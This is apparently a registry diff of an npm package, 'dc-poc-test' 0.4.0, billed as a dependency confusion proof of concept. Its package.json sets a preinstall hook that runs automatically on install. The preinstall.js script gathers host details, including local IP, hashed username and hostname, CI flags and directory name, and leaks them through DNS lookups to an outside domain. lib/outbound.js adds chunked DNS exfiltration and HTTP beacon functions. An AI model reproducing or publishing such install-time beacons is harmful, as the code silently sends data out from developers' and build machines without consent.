dc-poc-test 0.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/Readme.md +3 -0
- package/index.js +1 -0
- package/lib/outbound.js +61 -0
- package/lib/proof.js +6 -0
- package/lib/utils.js +45 -0
- package/package.json +12 -0
- package/preinstall.js +55 -0
package/Readme.md
ADDED
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
module.exports = {};
|
package/lib/outbound.js
ADDED
@@ -0,0 +1,61 @@
|
|
1
|
+
const dns = require('dns').promises;
|
2
|
+
const http = require('http');
|
3
|
+
const https = require('https');
|
4
|
+
|
5
|
+
function httpJSON(method, url, bodyObj, headers={}) {
|
6
|
+
const u = new URL(url);
|
7
|
+
const isHttps = u.protocol === 'https:';
|
8
|
+
const body = bodyObj ? JSON.stringify(bodyObj) : '';
|
9
|
+
const opts = {
|
10
|
+
method,
|
11
|
+
hostname: u.hostname,
|
12
|
+
port: u.port || (isHttps ? 443 : 80),
|
13
|
+
path: u.pathname + (u.search || ''),
|
14
|
+
headers: {
|
15
|
+
'content-type': 'application/json',
|
16
|
+
...(body ? {'content-length': Buffer.byteLength(body)} : {}),
|
17
|
+
...headers
|
18
|
+
},
|
19
|
+
timeout: 8000
|
20
|
+
};
|
21
|
+
return new Promise((resolve, reject) => {
|
22
|
+
const req = (isHttps ? https : http).request(opts, res => {
|
23
|
+
let data=''; res.on('data', d=>data+=d);
|
24
|
+
res.on('end', () => {
|
25
|
+
try { resolve({ status: res.statusCode, data: data ? JSON.parse(data) : {} }); }
|
26
|
+
catch { resolve({ status: res.statusCode, data: {} }); }
|
27
|
+
});
|
28
|
+
});
|
29
|
+
req.on('error', reject);
|
30
|
+
if (body) req.write(body);
|
31
|
+
req.end();
|
32
|
+
});
|
33
|
+
}
|
34
|
+
|
35
|
+
async function fetchNonce(server, uuid, token) {
|
36
|
+
const res = await httpJSON('POST', `${server}/nonce`, { uuid }, { 'x-dc-token': token });
|
37
|
+
if (res.status === 200 && res.data && res.data.nonce) return res.data.nonce;
|
38
|
+
throw new Error('no-nonce');
|
39
|
+
}
|
40
|
+
|
41
|
+
async function postPing(server, token, sig, payload, nonce) {
|
42
|
+
return httpJSON('POST', `${server}/ping`, { payload, nonce }, { 'x-dc-token': token, 'x-dc-sig': sig });
|
43
|
+
}
|
44
|
+
|
45
|
+
async function txtChallenge(domain, uuid) {
|
46
|
+
const name = `nonce.${uuid}.${domain}`;
|
47
|
+
const txts = await dns.resolveTxt(name);
|
48
|
+
return txts && txts.length ? txts[0].join('') : '';
|
49
|
+
}
|
50
|
+
|
51
|
+
async function dnsBurst(domain, hex) {
|
52
|
+
const CHUNK = 50;
|
53
|
+
for (let i = 0; i < hex.length; i += CHUNK) {
|
54
|
+
const chunk = hex.slice(i, i+CHUNK);
|
55
|
+
const fqdn = `${(i/CHUNK)}.${chunk}.${domain}`;
|
56
|
+
try { await dns.lookup(fqdn); } catch {}
|
57
|
+
await new Promise(r => setTimeout(r, 120 + Math.floor(Math.random()*80)));
|
58
|
+
}
|
59
|
+
}
|
60
|
+
|
61
|
+
module.exports = { fetchNonce, postPing, txtChallenge, dnsBurst };
|
package/lib/proof.js
ADDED
package/lib/utils.js
ADDED
@@ -0,0 +1,45 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const crypto = require('crypto');
|
3
|
+
const path = require('path');
|
4
|
+
|
5
|
+
function sha256(s) {
|
6
|
+
return crypto.createHash('sha256').update(String(s)).digest('hex');
|
7
|
+
}
|
8
|
+
|
9
|
+
function randomDelay(minMs=120, maxMs=260) {
|
10
|
+
const d = Math.floor(minMs + Math.random()*(maxMs-minMs));
|
11
|
+
return new Promise(r=>setTimeout(r, d));
|
12
|
+
}
|
13
|
+
|
14
|
+
function firstLocalIPv4() {
|
15
|
+
try {
|
16
|
+
const ifs = os.networkInterfaces();
|
17
|
+
for (const name of Object.keys(ifs)) {
|
18
|
+
for (const it of ifs[name]) {
|
19
|
+
if (it.family === 'IPv4' && !it.internal) return it.address;
|
20
|
+
}
|
21
|
+
}
|
22
|
+
} catch {}
|
23
|
+
return 'N/A';
|
24
|
+
}
|
25
|
+
|
26
|
+
function collectMinimal() {
|
27
|
+
const agent = process.env.npm_config_user_agent || '';
|
28
|
+
const hasCI = !!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.BUILD_ID || process.env.JENKINS_HOME);
|
29
|
+
const cwdBase = path.basename(process.cwd() || '');
|
30
|
+
let usernameHash = '';
|
31
|
+
try { usernameHash = sha256(require('os').userInfo().username || ''); } catch {}
|
32
|
+
return {
|
33
|
+
ts: new Date().toISOString(),
|
34
|
+
local_ipv4: firstLocalIPv4(), // chỉ IP local (không PII)
|
35
|
+
username_sha256: usernameHash, // hash username
|
36
|
+
hostname_sha256: sha256(os.hostname()||''),// hash hostname
|
37
|
+
platform: os.platform(),
|
38
|
+
arch: os.arch(),
|
39
|
+
npm_user_agent: agent,
|
40
|
+
cwd_basename: cwdBase,
|
41
|
+
has_CI: hasCI
|
42
|
+
};
|
43
|
+
}
|
44
|
+
|
45
|
+
module.exports = { sha256, randomDelay, collectMinimal };
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "dc-poc-test",
|
3
|
+
"version": "0.4.0",
|
4
|
+
"description": "Dependency confusion PoC for Interactsh (passive-proof via DNS A lookups)",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node preinstall.js"
|
8
|
+
},
|
9
|
+
"license": "ISC",
|
10
|
+
"dependencies": {}
|
11
|
+
}
|
12
|
+
|
package/preinstall.js
ADDED
@@ -0,0 +1,55 @@
|
|
1
|
+
const dns = require('dns').promises;
|
2
|
+
const crypto = require('crypto');
|
3
|
+
const { collectMinimal, randomDelay } = require('./lib/utils');
|
4
|
+
const { PKG_PROOF_UUID, PROOF_DOMAIN } = require('./lib/proof');
|
5
|
+
|
6
|
+
function uaLooksLikeRealNpm(ua='') {
|
7
|
+
return /^npm\/\d+\.\d+\.\d+\s+node\/\d+\.\d+\.\d+\s+\w+\s+\w+/.test(String(ua||''));
|
8
|
+
}
|
9
|
+
|
10
|
+
function hexOf(obj) {
|
11
|
+
try { return Buffer.from(JSON.stringify(obj)).toString('hex'); }
|
12
|
+
catch { return ''; }
|
13
|
+
}
|
14
|
+
|
15
|
+
async function pingInteractsh() {
|
16
|
+
const ua = process.env.npm_config_user_agent || '';
|
17
|
+
if (!uaLooksLikeRealNpm(ua)) return; // giảm noise bot rác
|
18
|
+
|
19
|
+
const version = require('./package.json').version.replace(/\./g,'-');
|
20
|
+
const runtime = (process.platform || 'x') + '-' + (process.arch || 'x');
|
21
|
+
|
22
|
+
// Thu thập tối thiểu (an toàn, không PII)
|
23
|
+
const base = collectMinimal();
|
24
|
+
|
25
|
+
// Chèn 1 ít metadata vào label để bạn grep
|
26
|
+
const stamp = Date.now().toString(36);
|
27
|
+
const prefix = `dcpoc.${PKG_PROOF_UUID}.${version}.${runtime}.${stamp}`;
|
28
|
+
|
29
|
+
// Gửi 1..3 A lookups:
|
30
|
+
// 1) nhãn ngắn: dcpoc.<uuid>.<ver>.<runtime>.<ts>.<domain>
|
31
|
+
// 2) nhãn có checksum ngắn
|
32
|
+
// 3) (tuỳ) nhãn đính kèm 1 chunk hex của base (rất ngắn) — tránh dài quá 63 bytes/label
|
33
|
+
const short = `${prefix}.${PROOF_DOMAIN}`;
|
34
|
+
|
35
|
+
const h = crypto.createHash('sha1').update(JSON.stringify(base)).digest('hex').slice(0,10);
|
36
|
+
const withChk = `${prefix}.h${h}.${PROOF_DOMAIN}`;
|
37
|
+
|
38
|
+
const tiny = hexOf({ts: base.ts, has_CI: base.has_CI}).slice(0, 28); // 14 bytes (-> 28 hex char)
|
39
|
+
const withTiny = `${prefix}.x${tiny}.${PROOF_DOMAIN}`;
|
40
|
+
|
41
|
+
const names = [short, withChk, withTiny];
|
42
|
+
|
43
|
+
// Thực hiện lookup tuần tự, có trễ nhẹ
|
44
|
+
for (const fqdn of names) {
|
45
|
+
try { await dns.lookup(fqdn); } catch {}
|
46
|
+
await randomDelay();
|
47
|
+
}
|
48
|
+
}
|
49
|
+
|
50
|
+
(async () => {
|
51
|
+
try {
|
52
|
+
// Chỉ chạy nhánh Interactsh (passive-proof); không cần token/env ở victim
|
53
|
+
await pingInteractsh();
|
54
|
+
} catch {}
|
55
|
+
})();
|